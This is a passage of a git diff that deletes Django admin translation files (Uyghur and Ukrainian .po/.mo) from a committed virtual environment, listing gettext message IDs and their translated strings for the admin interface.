lost." -msgstr "" -"سىزنىڭ تېخى ساقلانمىغان ئۆزگەرتىشلىرىڭىز بار. ئەگەر سىز مەشخۇلاتىڭىزنى " -"داۋاملاشتۇرسىڭىز، ساقلانمىغان ئۆزگەرتىشلىرىڭىز يوقاب كېتىشى مۇمكىن" - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"سىز بىر مەشخۇلاتنى تاللىدىڭىز، ئەمما ئۆزگەرتىشلىرىڭىزنى ساقلىمىدىڭىز. ھەئە " -"نى بېسىب ساقلاڭ. ئاندىن مەشخۇلاتىڭىزنى قايتىدىن ئېلىب بېرىڭ." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"سىز بىر ھەرىكەتنى تاللىدىڭىز ، ھەمدە ئايرىم ساھەدە ھېچقانداق ئۆزگەرتىش ئېلىپ " -"بارمىدىڭىز. سىز «ساقلاش» كۇنۇپكىسىنى ئەمەس ، بەلكى Go كۇنۇپكىسىنى " -"ئىزدەۋاتقان بولۇشىڭىز مۇمكىن." - -msgid "Now" -msgstr "ھازىرلا" - -msgid "Midnight" -msgstr "يېرىم كېچە" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "چۈش" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "ئەسكەرتىش: سىز مۇلازىمېتىر ۋاقتىدىن %s سائەت ئالدىدا." -msgstr[1] "ئەسكەرتىش: سىز مۇلازىمېتىر ۋاقتىدىن %s سائەت ئالدىدا." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "ئەسكەرتىش: سىز مۇلازىمېتىر ۋاقتىدىن %s سائەت ئارقىدا." -msgstr[1] "ئەسكەرتىش: سىز مۇلازىمېتىر ۋاقتىدىن %s سائەت ئارقىدا." - -msgid "Choose a Time" -msgstr "بىر ۋاقىت تاللاڭ" - -msgid "Choose a time" -msgstr "بىر ۋاقىت تاللاڭ" - -msgid "Cancel" -msgstr "ۋاز كەچ" - -msgid "Today" -msgstr "بۈگۈن" - -msgid "Choose a Date" -msgstr "بىر چېسلا تاللاڭ" - -msgid "Yesterday" -msgstr "تۈنۈگۈن" - -msgid "Tomorrow" -msgstr "ئەتە" - -msgid "January" -msgstr "يانۋار" - -msgid "February" -msgstr "فېۋرال" - -msgid "March" -msgstr "مارت" - -msgid "April" -msgstr "ئاپرىل" - -msgid "May" -msgstr "ماي" - -msgid "June" -msgstr "ئىيۇن" - -msgid "July" -msgstr "ئىيۇل" - -msgid "August" -msgstr "ئاۋغۇست" - -msgid "September" -msgstr "سىنتەبىر" - -msgid "October" -msgstr "ئۆكتەبىر" - -msgid "November" -msgstr "نويابىر" - -msgid "December" -msgstr "دىكابىر" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "يانۋار" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "فېۋرال" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "مارت" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "ئاپرېل" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "ماي" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "ئىيۇن" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "ئىيۇل" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "ئاۋغۇست" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "سېنتەبىر" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "ئۆكتەبىر" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "نويابىر" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "دىكابىر" - -msgid "Sunday" -msgstr "يەكشەنبە" - -msgid "Monday" -msgstr "دۈشەنبە" - -msgid "Tuesday" -msgstr "سەيشەنبە" - -msgid "Wednesday" -msgstr "چارشەمبە" - -msgid "Thursday" -msgstr "پەيشەمبە" - -msgid "Friday" -msgstr "جۈمە" - -msgid "Saturday" -msgstr "شەنبە" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "ي" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "د" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "س" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "چ" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "پ" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "ج" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "ش" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "W" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "T" - -msgctxt "one letter Friday" -msgid "F" -msgstr "F" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "كۆرسەت" - -msgid "Hide" -msgstr "يوشۇر" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/django.mo deleted file mode 100644 index 5b570601..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/django.po deleted file mode 100644 index 49e319ba..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/django.po +++ /dev/null @@ -1,810 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Abbl Kto , 2021 -# Oleksandr Chernihov , 2014 -# Andriy Sokolovskiy , 2015 -# Boryslav Larin , 2011 -# Denys Pidlisnyi , 2016 -# Igor Melnyk, 2014,2017 -# Illia Volochii , 2021-2023,2025 -# Ivan Dmytrenko , 2019 -# Jannis Leidel , 2011 -# Kirill Gagarski , 2015 -# Max V. Stotsky , 2014 -# Mikhail Kolesnik , 2015 -# Mykola Holovetskyi, 2022 -# Mykola Zamkovoi , 2014 -# Sergiy Kuzmenko , 2011 -# tarasyyyk , 2018 -# Zoriana Zaiats, 2016 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Illia Volochii , 2021-2023,2025\n" -"Language-Team: Ukrainian (http://app.transifex.com/django/django/language/" -"uk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: uk\n" -"Plural-Forms: nplurals=4; plural=(n % 1 == 0 && n % 10 == 1 && n % 100 != " -"11 ? 0 : n % 1 == 0 && n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 12 || n % " -"100 > 14) ? 1 : n % 1 == 0 && (n % 10 ==0 || (n % 10 >=5 && n % 10 <=9) || " -"(n % 100 >=11 && n % 100 <=14 )) ? 2: 3);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Видалити обрані %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Успішно видалено %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Не вдається видалити %(name)s" - -msgid "Delete multiple objects" -msgstr "Видалити кілька об'єктів" - -msgid "Administration" -msgstr "Адміністрування" - -msgid "All" -msgstr "Всі" - -msgid "Yes" -msgstr "Так" - -msgid "No" -msgstr "Ні" - -msgid "Unknown" -msgstr "Невідомо" - -msgid "Any date" -msgstr "Будь-яка дата" - -msgid "Today" -msgstr "Сьогодні" - -msgid "Past 7 days" -msgstr "Останні 7 днів" - -msgid "This month" -msgstr "Цього місяця" - -msgid "This year" -msgstr "Цього року" - -msgid "No date" -msgstr "Без дати" - -msgid "Has date" -msgstr "Має дату" - -msgid "Empty" -msgstr "Порожні" - -msgid "Not empty" -msgstr "Непорожні" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Будь ласка, введіть правильні %(username)s і пароль для облікового запису " -"персоналу. Зауважте, що обидва поля можуть бути чутливі до регістру." - -msgid "Action:" -msgstr "Дія:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Додати ще %(verbose_name)s" - -msgid "Remove" -msgstr "Видалити" - -msgid "Addition" -msgstr "Додавання" - -msgid "Change" -msgstr "Змінити" - -msgid "Deletion" -msgstr "Видалення" - -msgid "action time" -msgstr "час дії" - -msgid "user" -msgstr "користувач" - -msgid "content type" -msgstr "тип вмісту" - -msgid "object id" -msgstr "id об'єкта" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "представлення об'єкта (repr)" - -msgid "action flag" -msgstr "позначка дії" - -msgid "change message" -msgstr "змінити повідомлення" - -msgid "log entry" -msgstr "запис у журналі" - -msgid "log entries" -msgstr "записи в журналі" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Додано \"%(object)s\"." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Змінено \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Видалено \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "Об'єкт журнального запису" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Додано {name} \"{object}\"." - -msgid "Added." -msgstr "Додано." - -msgid "and" -msgstr "та" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Змінені {fields} для {name} \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Змінені {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Видалено {name} \"{object}\"." - -msgid "No fields changed." -msgstr "Поля не змінені." - -msgid "None" -msgstr "Ніщо" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Натисність \"Control\" або \"Command\" на Mac-пристрої, щоб вибрати більше " -"аніж один." - -msgid "Select this object for an action - {}" -msgstr "Вибрати цей об'єкт для дії – {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\" було додано успішно." - -msgid "You may edit it again below." -msgstr "Ви можете відредагувати це знову." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "{name} \"{obj}\" було змінено успішно. Ви можете додати інше {name}." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} \"{obj}\" було змінено успішно. Нижче Ви можете редагувати його знову." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} \"{obj}\" було змінено успішно. Ви можете додати інше {name}." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \"{obj}\" було змінено успішно." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Для виконання дії необхідно обрати елемент. Жодний елемент не був змінений." - -msgid "No action selected." -msgstr "Дія не обрана." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s \"%(obj)s\" був видалений успішно." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s з ID \"%(key)s\" не існує. Можливо, воно було видалене?" - -#, python-format -msgid "Add %s" -msgstr "Додати %s" - -#, python-format -msgid "Change %s" -msgstr "Змінити %s" - -#, python-format -msgid "View %s" -msgstr "Переглянути %s" - -msgid "Database error" -msgstr "Помилка бази даних" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s був успішно змінений." -msgstr[1] "%(count)s %(name)s були успішно змінені." -msgstr[2] "%(count)s %(name)s було успішно змінено." -msgstr[3] "%(count)s %(name)s було успішно змінено." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s обраний" -msgstr[1] "%(total_count)s обрані" -msgstr[2] "Усі %(total_count)s обрано" -msgstr[3] "Усі %(total_count)s обрано" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 з %(cnt)s обрано" - -msgid "Delete" -msgstr "Видалити" - -#, python-format -msgid "Change history: %s" -msgstr "Історія змін: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Видалення %(class_name)s %(instance)s вимагатиме видалення наступних " -"захищених пов'язаних об'єктів: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django сайт адміністрування" - -msgid "Django administration" -msgstr "Django адміністрування" - -msgid "Site administration" -msgstr "Адміністрування сайта" - -msgid "Log in" -msgstr "Увійти" - -#, python-format -msgid "%(app)s administration" -msgstr "Адміністрування %(app)s" - -msgid "Page not found" -msgstr "Сторінка не знайдена" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "На жаль, запрошену сторінку не знайдено." - -msgid "Home" -msgstr "Домівка" - -msgid "Server error" -msgstr "Помилка сервера" - -msgid "Server error (500)" -msgstr "Помилка сервера (500)" - -msgid "Server Error (500)" -msgstr "Помилка сервера (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Сталася помилка. Вона була відправлена адміністраторам сайту через email і " -"має бути вирішена швидко. Дякуємо за ваше терпіння." - -msgid "Run the selected action" -msgstr "Виконати обрану дію" - -msgid "Go" -msgstr "Вперед" - -msgid "Click here to select the objects across all pages" -msgstr "Натисніть тут, щоб вибрати об'єкти на всіх сторінках" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Обрати всі %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Скинути вибір" - -msgid "Breadcrumbs" -msgstr "Навігаційний рядок" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Моделі у %(name)s додатку" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Додати" - -msgid "View" -msgstr "Переглянути" - -msgid "You don’t have permission to view or edit anything." -msgstr "Ви не маєте дозволу переглядати чи редагувати будь-чого." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "Змінити пароль" - -msgid "Set password" -msgstr "Встановити пароль" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Будь ласка, виправте наведену нижче помилку." -msgstr[1] "Будь ласка, виправте наведені нижче помилки." -msgstr[2] "Будь ласка, виправте наведені нижче помилки." -msgstr[3] "Будь ласка, виправте наведені нижче помилки." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Введіть новий пароль для користувача %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Ця дія увімкне автентифікацію на основі пароля для " -"користувача." - -msgid "Disable password-based authentication" -msgstr "Вимкнути автентифікацію на основі паролю" - -msgid "Enable password-based authentication" -msgstr "Увімкнути автентифікацію на основі паролю" - -msgid "Skip to main content" -msgstr "Перейти до основного вмісту" - -msgid "Welcome," -msgstr "Вітаємо," - -msgid "View site" -msgstr "Дивитися сайт" - -msgid "Documentation" -msgstr "Документація" - -msgid "Log out" -msgstr "Вийти" - -#, python-format -msgid "Add %(name)s" -msgstr "Додати %(name)s" - -msgid "History" -msgstr "Історія" - -msgid "View on site" -msgstr "Дивитися на сайті" - -msgid "Filter" -msgstr "Відфільтрувати" - -msgid "Hide counts" -msgstr "Приховати кількість" - -msgid "Show counts" -msgstr "Показати кількість" - -msgid "Clear all filters" -msgstr "Очистити всі фільтри" - -msgid "Remove from sorting" -msgstr "Видалити з сортування" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Пріорітет сортування: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Сортувати в іншому напрямку" - -msgid "Toggle theme (current theme: auto)" -msgstr "Перемкнути тему (поточна тема: автоматична)" - -msgid "Toggle theme (current theme: light)" -msgstr "Перемкнути тему (поточна тема: світла)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Перемкнути тему (поточна тема: темна)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Видалення %(object_name)s '%(escaped_object)s' призведе до видалення " -"пов'язаних об'єктів, але ваш реєстраційний запис не має дозволу видаляти " -"наступні типи об'єктів:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Видалення %(object_name)s '%(escaped_object)s' вимагатиме видалення " -"наступних пов'язаних об'єктів:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ви впевнені, що хочете видалити %(object_name)s \"%(escaped_object)s\"? Всі " -"пов'язані записи, що перелічені, будуть видалені:" - -msgid "Objects" -msgstr "Об'єкти" - -msgid "Yes, I’m sure" -msgstr "Так, я впевнений" - -msgid "No, take me back" -msgstr "Ні, повернутись назад" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Видалення обраних %(objects_name)s вимагатиме видалення пов'язаних об'єктів, " -"але ваш обліковий запис не має прав для видалення таких типів об'єктів:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Видалення обраних %(objects_name)s вимагатиме видалення наступних захищених " -"пов'язаних об'єктів:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ви впевнені, що хочете видалити вибрані %(objects_name)s? Всі вказані " -"об'єкти та пов'язані з ними елементи будуть видалені:" - -msgid "Delete?" -msgstr "Видалити?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "За %(filter_title)s" - -msgid "Summary" -msgstr "Резюме" - -msgid "Recent actions" -msgstr "Недавні дії" - -msgid "My actions" -msgstr "Мої дії" - -msgid "None available" -msgstr "Немає" - -msgid "Added:" -msgstr "Додано:" - -msgid "Changed:" -msgstr "Змінено:" - -msgid "Deleted:" -msgstr "Видалено:" - -msgid "Unknown content" -msgstr "Невідомий зміст" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Щось не так з інсталяцією бази даних. Запевніться, що певні таблиці бази " -"даних були створені і що вона може бути прочитана певним користувачем." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Ви аутентифіковані як %(username)s, але вам не надано доступ до цієї " -"сторінки.\n" -"Ввійти в інший аккаунт?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "Увімкнути навігацію" - -msgid "Sidebar" -msgstr "Бічна панель" - -msgid "Start typing to filter…" -msgstr "Почніть писати для фільтру..." - -msgid "Filter navigation items" -msgstr "Фільтрувати навігаційні об'єкти" - -msgid "Date/time" -msgstr "Дата/час" - -msgid "User" -msgstr "Користувач" - -msgid "Action" -msgstr "Дія" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "запис" -msgstr[1] "записи" -msgstr[2] "записи" -msgstr[3] "записи" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Цей об'єкт не має історії змін. Напевно, він був доданий не через цей сайт " -"адміністрування." - -msgid "Show all" -msgstr "Показати всі" - -msgid "Save" -msgstr "Зберегти" - -msgid "Popup closing…" -msgstr "Закриття спливаючого вікна" - -msgid "Search" -msgstr "Пошук" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s результат" -msgstr[1] "%(counter)s результати" -msgstr[2] "%(counter)s результатів" -msgstr[3] "%(counter)s результатів" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s всього" - -msgid "Save as new" -msgstr "Зберегти як нове" - -msgid "Save and add another" -msgstr "Зберегти і додати інше" - -msgid "Save and continue editing" -msgstr "Зберегти і продовжити редагування" - -msgid "Save and view" -msgstr "Зберегти і переглянути" - -msgid "Close" -msgstr "Закрити" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Змінити обрану %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Додати ще одну %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Видалити обрану %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Переглянути обрану %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Дякуємо за час, який був проведений сьогодні на сайті." - -msgid "Log in again" -msgstr "Увійти знову" - -msgid "Password change" -msgstr "Зміна паролю" - -msgid "Your password was changed." -msgstr "Ваш пароль було змінено." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Будь ласка введіть ваш старий пароль, заради безпеки, після цього введіть " -"ваш новий пароль двічі для верифікації коректності написаного." - -msgid "Change my password" -msgstr "Змінити мій пароль" - -msgid "Password reset" -msgstr "Перевстановлення паролю" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Пароль встановлено. Ви можете увійти зараз." - -msgid "Password reset confirmation" -msgstr "Підтвердження перевстановлення паролю" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Будь ласка, введіть ваш старий пароль, задля безпеки, потім введіть ваш " -"новий пароль двічі для перевірки." - -msgid "New password:" -msgstr "Новий пароль:" - -msgid "Confirm password:" -msgstr "Підтвердіть пароль:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Посилання на перевстановлення паролю було помилковим. Можливо тому, що воно " -"було вже використано. Будь ласка, замовте нове перевстановлення паролю." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Ми відправили вам інструкції для встановлення пароля, якщо обліковий запис з " -"введеною адресою існує. Ви маєте отримати їх найближчим часом." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Якщо Ви не отримали електронного листа, переконайтеся, будь ласка, в " -"зареєстрованій адресі і перевірте папку \"Спам\"." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Ви отримали цей лист через те, що зробили запит на перевстановлення пароля " -"для облікового запису користувача на %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Будь ласка, перейдіть на цю сторінку, та оберіть новий пароль:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Дякуємо за користування нашим сайтом!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Команда сайту %(site_name)s " - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Забули пароль? Введіть свою email-адресу нижче і ми відправимо вам " -"інструкції по встановленню нового." - -msgid "Email address:" -msgstr "Email адреса:" - -msgid "Reset my password" -msgstr "Перевстановіть мій пароль" - -msgid "Select all objects on this page for an action" -msgstr "Обрати всі об'єкти на сторінці для дії" - -msgid "All dates" -msgstr "Всі дати" - -#, python-format -msgid "Select %s" -msgstr "Вибрати %s" - -#, python-format -msgid "Select %s to change" -msgstr "Виберіть %s щоб змінити" - -#, python-format -msgid "Select %s to view" -msgstr "Вибрати %s для перегляду" - -msgid "Date:" -msgstr "Дата:" - -msgid "Time:" -msgstr "Час:" - -msgid "Lookup" -msgstr "Пошук" - -msgid "Currently:" -msgstr "На даний час:" - -msgid "Change:" -msgstr "Змінено:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 1c8ab173..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/djangojs.po deleted file mode 100644 index 310826fe..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uk/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,323 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Oleksandr Chernihov , 2014 -# Boryslav Larin , 2011 -# Denys Pidlisnyi , 2016 -# Illia Volochii , 2021,2025 -# Jannis Leidel , 2011 -# Panasoft, 2016 -# Sergey Lysach , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Illia Volochii , 2021,2025\n" -"Language-Team: Ukrainian (http://app.transifex.com/django/django/language/" -"uk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: uk\n" -"Plural-Forms: nplurals=4; plural=(n % 1 == 0 && n % 10 == 1 && n % 100 != " -"11 ? 0 : n % 1 == 0 && n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 12 || n % " -"100 > 14) ? 1 : n % 1 == 0 && (n % 10 ==0 || (n % 10 >=5 && n % 10 <=9) || " -"(n % 100 >=11 && n % 100 <=14 )) ? 2: 3);\n" - -#, javascript-format -msgid "Available %s" -msgstr "В наявності %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Почніть вводити текст в цьому полі щоб відфільтрувати список доступних %s." - -msgid "Filter" -msgstr "Фільтр" - -#, javascript-format -msgid "Choose all %s" -msgstr "" - -#, javascript-format -msgid "Choose selected %s" -msgstr "" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "Обрано %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "" - -msgid "(click to clear)" -msgstr "" - -#, javascript-format -msgid "Remove all %s" -msgstr "" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "Обрано %(sel)s з %(cnt)s" -msgstr[1] "Обрано %(sel)s з %(cnt)s" -msgstr[2] "Обрано %(sel)s з %(cnt)s" -msgstr[3] "Обрано %(sel)s з %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Ви зробили якісь зміни у деяких полях. Якщо Ви виконаєте цю дію, всі " -"незбережені зміни буде втрачено." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "Зараз" - -msgid "Midnight" -msgstr "Північ" - -msgid "6 a.m." -msgstr "6" - -msgid "Noon" -msgstr "Полудень" - -msgid "6 p.m." -msgstr "18:00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Примітка: Ви на %s годину попереду серверного часу." -msgstr[1] "Примітка: Ви на %s години попереду серверного часу." -msgstr[2] "Примітка: Ви на %s годин попереду серверного часу." -msgstr[3] "Примітка: Ви на %s годин попереду серверного часу." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Примітка: Ви на %s годину позаду серверного часу." -msgstr[1] "Примітка: Ви на %s години позаду серверного часу." -msgstr[2] "Примітка: Ви на %s годин позаду серверного часу." -msgstr[3] "Примітка: Ви на %s годин позаду серверного часу." - -msgid "Choose a Time" -msgstr "Оберіть час" - -msgid "Choose a time" -msgstr "Оберіть час" - -msgid "Cancel" -msgstr "Відмінити" - -msgid "Today" -msgstr "Сьогодні" - -msgid "Choose a Date" -msgstr "Оберіть дату" - -msgid "Yesterday" -msgstr "Вчора" - -msgid "Tomorrow" -msgstr "Завтра" - -msgid "January" -msgstr "січня" - -msgid "February" -msgstr "лютого" - -msgid 